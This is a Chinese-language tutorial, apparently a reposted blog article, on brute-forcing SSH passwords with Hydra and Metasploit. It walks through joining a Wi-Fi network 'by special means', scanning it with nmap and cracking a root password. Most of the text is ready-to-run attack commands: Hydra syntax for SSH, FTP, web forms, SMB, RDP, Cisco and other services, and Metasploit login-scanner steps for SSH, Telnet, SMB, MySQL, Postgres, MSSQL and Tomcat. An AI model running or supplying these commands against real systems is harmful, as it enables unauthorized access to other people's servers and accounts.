1. 程式人生 > >Hydra&Metasploit暴力破解SSH登入口令

Hydra&Metasploit暴力破解SSH登入口令

一. SSH服務開啟前基礎配置

1.1 修改配置檔案?

如下圖示:開啟root/etc/ssh/sshd_config 目錄下檔案

把# Port 22 修改為 Port 22  ,開啟22號埠

把# ListenAddress 0.0.0.0 修改為 ListenAddress 0.0.0.0  ,允許所有IP地址訪問22號埠

把# PermitRootLogin yes  修改為 PermitRootLogin yes    ,開通root使用者登入許可權,即root使用者可以通過SSH遠端登入Kali

把# PasswordAuthentication yes 修改為 PasswordAuthentication yes   ,開通密碼驗證服務,使用SSH遠端登入Kali時需要root使用者的密碼

1.2 在Kali介面開啟SSH 服務,然後將Kali放到後臺執行

在Kali命令後窗口輸入 service ssh start , 開啟SSH遠端登入服務

在Kali命令後窗口輸入 service ssh status , 檢視SSH服務狀態 ,如圖示:running

在Kali命令後窗口輸入 service ssh stop  ,關閉SSH服務

在Kali命令後窗口輸入 service ssh restart ,重啟SSH服務

在Kali命令後窗口輸入 update-rc.d SSH enable  ,開機自啟SSH服務

在Kali命令後窗口輸入 update-rc.d SSH disabled   ,關閉SSH服務開機自啟

1.3 使用SecureCRT軟體登入Kali並進行管理操作

在MacBook Pro 桌面開啟SecureCRT軟體 (點此下載 Mac&Win可選) 

開始建立新的Quick Connect連線 

填寫Kali的IP地址、埠號(SSH服務一般是22號埠)、使用者  

輸入root使用者的密碼,最後登入成功

二. 暴力破解SSH登入口令

假設我們通過特殊手段連入CMCC-xYz3 的Wi-Fi無線網路 ,拓撲圖如下:

2.1使用nmap 掃描192.168.1.0/24網段,檢視那臺裝置開啟SSH服務

下圖可知:

192.168.1.2 開放22號埠,開啟SSH服務,是一臺Apple主機;

192.168.1.3 開放22號埠,開啟SSH服務,是一臺基於Linux核心的Debian裝置

我們推斷,192.168.1.3 極有可能是一臺開放SSH服務的伺服器,而192.168.1.2是通過SSH連線伺服器的終端管理裝置

首先,我們知道192.168.1.3極有可能是開放SSH服務的某類伺服器,而我們需要知道其使用者名稱和登入口令,從而獲取192.168.1.3的控制權

其次,我們採用Hydra"九頭蛇"暴力破解工具來達到目的,在Kali命令列介面輸入 hydra -h ,檢視hydra幫助資訊,如下圖? 

現在,通過使用Hydra來爆破192.168.1.3的使用者名稱和登入口令

Kali中自帶暴力破解字典,在/usr/share/wordlists/目錄下,可自行選取,技術大神也可自行編寫私人暴破字典!

當看到介面?顯示 [22][ssh] host: 192.168.1.3 login: root password: toor,我們太開心了!

暴力破解:
 hydra(九頭蛇)
  引數:
    -R 繼續從上一次進度接著破解
    -S 大寫,採用SSL連結
    -s 小寫,可通過這個引數指定非預設埠
    -l 指定破解的使用者,對特定使用者破解
    -L 指定使用者名稱字典
    -p 小寫,指定密碼破解,少用,一般是採用密碼字典
    -P 大寫,指定密碼字典
    -e 可選選項,n:空密碼試探,s:使用指定使用者和密碼試探
    -C 使用冒號分割格式,例如“登入名:密碼”來代替-L/-P引數
    -M 指定目標列表檔案一行一條
    -o 指定結果輸出檔案
    -f 在使用-M引數以後,找到第一對登入名或者密碼的時候中止破解
    -t 同時執行的執行緒數,預設為16
    -w 設定最大超時的時間,單位秒,預設是30s
    -v /-V顯示詳細過程
   
  各協議的具體命令:
    格式+示例:
    1、破解ssh:
    hydra -L 使用者名稱字典 -p 密碼字典 -t 執行緒 -vV -e ns ip ssh
    hydra -l 使用者名稱 -p 密碼字典 -t 執行緒 -o save.log -vV ip ssh
    2、破解ftp:
    hydra ip ftp -L 使用者名稱字典 -P 密碼字典 -t 執行緒(預設16) -vV
    hydra ip ftp -l 使用者名稱 -P 密碼字典 -e ns -vV
    3、get方式提交,破解web登入:
    hydra -L 使用者名稱字典 -p 密碼字典 -t 執行緒 -vV -e ns ip http-get/admin/
    hydra -l 使用者名稱 -p 密碼字典 -t 執行緒 -vV -e ns -f ip http-get/admin/index.PHP
    4、post方式提交,破解web登入:
    hydra --L 使用者名稱字典 -P 密碼字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"
    hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"
    引數說明:
    -t同時執行緒數3,-l使用者名稱是admin,字典pass.txt,儲存為out.txt,-f 當破解了一個密碼就停止, 
    10.36.16.18目標ip,http-post-form表示破解是採用http的post方式提交的表單密碼破解,<title>中的內容是表示錯誤猜解的返回資訊提示
    5、破解https:
    hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
    6、破解teamspeak:
    hydra -L 使用者名稱字典 -P 密碼字典 -s 埠號 -vV ip teamspeak
 
    7、破解cisco:
    hydra -P pass.txt 10.36.16.18 cisco
    hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
 
    8、破解smb:
    hydra -L 使用者名稱字典 -P pass.txt 10.36.16.18 smb
 
    9、破解pop3:
    hydra -l muts -P pass.txt my.pop3.mail pop3
 
    10、破解rdp:
    hydra ip rdp -l administrator -P pass.txt -V
 
    11、破解http-proxy:
    hydra -l admin -P pass.txt http-proxy://10.36.16.18

 2.2 使用Metasploit工具集中的小外掛暴破SSH服務登入口令

首先,開啟Metasploit,命令列以 msf >  開頭 

在命令列視窗輸入 search ssh ,檢視與SSH相關的攻擊模組 ,其中,我們需要的模組:auxiliary/scanner/ssh/ssh_login 

其次,在msf命令後介面輸入 use auxiliary/scanner/ssh/ssh_login  ,呼叫SSH攻擊模組

在msf命令後介面輸入 show options  ,檢視需要我們設定的引數  ,我們需要補充四點:目標主機IP地址、使用者名稱字典路徑、密碼字典路徑、執行緒數(即每秒跑幾個密碼)

設定完成後,我們再通過show options 命令檢視設定正確與否,如圖?

msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.3
rhosts => 192.168.1.3
msf auxiliary(scanner/ssh/ssh_login) > set user_file /usr/share/wordlists/ssh_username.txt
username_file => /usr/share/wordlists/ssh_username.txt
msf auxiliary(scanner/ssh/ssh_login) > set pass_file /usr/share/wordlists/ssh_password.txt
pass_file => /usr/share/wordlists/ssh_password.txt
msf auxiliary(scanner/ssh/ssh_login) > set threads 5
threads => 5

 

最後,在msf命令後介面輸入 run 發起攻擊 ,經過漫長等待⌛️,我們看到:[+] 192.168.1.3:22 - Success: 'root:toor' !

Kali Linux(Metasploit口令猜解模組)

Metasploit口令猜解模組——

SSH服務口令猜解:

msf > use auxiliary/scanner/ssh/ssh_login(使用ssh_login模組)

msf auxiliary(ssh_login) > show options (檢視選項)

msf auxiliary(ssh_login) > set RHOSTS 10.107.0.99(目標)

msf auxiliary(ssh_login) > set USER_FILE /root/username.txt(使用者名稱字典,或指定使用者)

msf auxiliary(ssh_login) > set PASS_FILE /root/pass.txt(密碼字典檔案)

msf auxiliary(ssh_login) > set THREADS 50(執行緒)

msf auxiliary(ssh_login) > exploit (開始)

 

Telnet口令猜解:

msf > use auxiliary/scanner/telnet/telnet_login (使用telnet_login模組)

msf auxiliary(telnet_login) > show options (檢視選項)

msf auxiliary(telnet_login) > set RHOSTS 10.180.100.141(目標)

msf auxiliary(telnet_login) > set USER_FILE /root/username.txt(使用者名稱字典,或指定使用者)

msf auxiliary(telnet_login) > set PASS_FILE /root/pass.txt(密碼字典檔案)

msf auxiliary(telnet_login) > exploit (開始)

 

Samba口令猜解:

msf > use auxiliary/scanner/smb/smb_login (使用smb_login模組)

msf auxiliary(smb_login) > show options (檢視選項)

msf auxiliary(smb_login) > set RHOSTS 10.180.100.10(目標)

msf auxiliary(ssmb_login) > set USER_FILE /root/username.txt(使用者名稱字典,或指定使用者)

msf auxiliary(ssmb_login) > set PASS_FILE /root/pass.txt(密碼字典檔案)

msf auxiliary(ssmb_login) > exploit(開始)

 

Mysql口令猜解:

msf > use auxiliary/scanner/mysql/mysql_login (使用mysql_login模組)

msf auxiliary(mysql_login) > show options (檢視選項)

msf auxiliary(mysql_login) > set RHOSTS 192.168.230.176(目標)

msf auxiliary(mysql_login) > set USERNAME root(使用者名稱字典,或指定使用者)

msf auxiliary(mysql_login) > set PASS_FILE /root/pass.txt(密碼字典檔案)

msf auxiliary(mysql_login) > exploit(開始)

 

Postgresq口令猜解:

msf > use auxiliary/scanner/postgres/postgres_login (使用postgres_login模組)

msf auxiliary(postgres_login) > show options (檢視選項)

msf auxiliary(postgres_login) > set RHOSTS 192.168.230.10(目標)

msf auxiliary(postgres_login) > set USER_FILE /root/username.txt(使用者名稱字典,或指定使用者)

msf auxiliary(postgres_login) > set PASS_FILE /root/pass.txt(密碼字典檔案)

msf auxiliary(postgres_login) > exploit (開始)

 

Mssql口令猜解:

msf > use auxiliary/scanner/mssql/mssql_login (使用mssql_login 模組)

msf auxiliary(mssql_login) > show options (檢視選項)

msf auxiliary(mssql_login) > set RHOSTS 10.107.0.64(目標)

msf auxiliary(mssql_login) > set USER_FILE /root/username.txt(使用者名稱字典,或指定使用者)

msf auxiliary(mssql_login) > set PASS_FILE /root/pass.txt(密碼字典檔案)

msf auxiliary(mssql_login) > exploit(開始)

 

Tomcat口令猜解:

msf > use auxiliary/scanner/http/tomcat_mgr_login (使用tomcat_mgr_login模組)

msf auxiliary(tomcat_mgr_login) > show options(檢視選項)

msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.230.176(目標)

msf auxiliary(tomcat_mgr_login) > set USER_FILE username.txt(使用者名稱字典,或指定使用者)

msf auxiliary(tomcat_mgr_login) > set PASS_FILE /root/pass.txt(密碼字典檔案)

msf auxiliary(tomcat_mgr_login) > exploit(開始)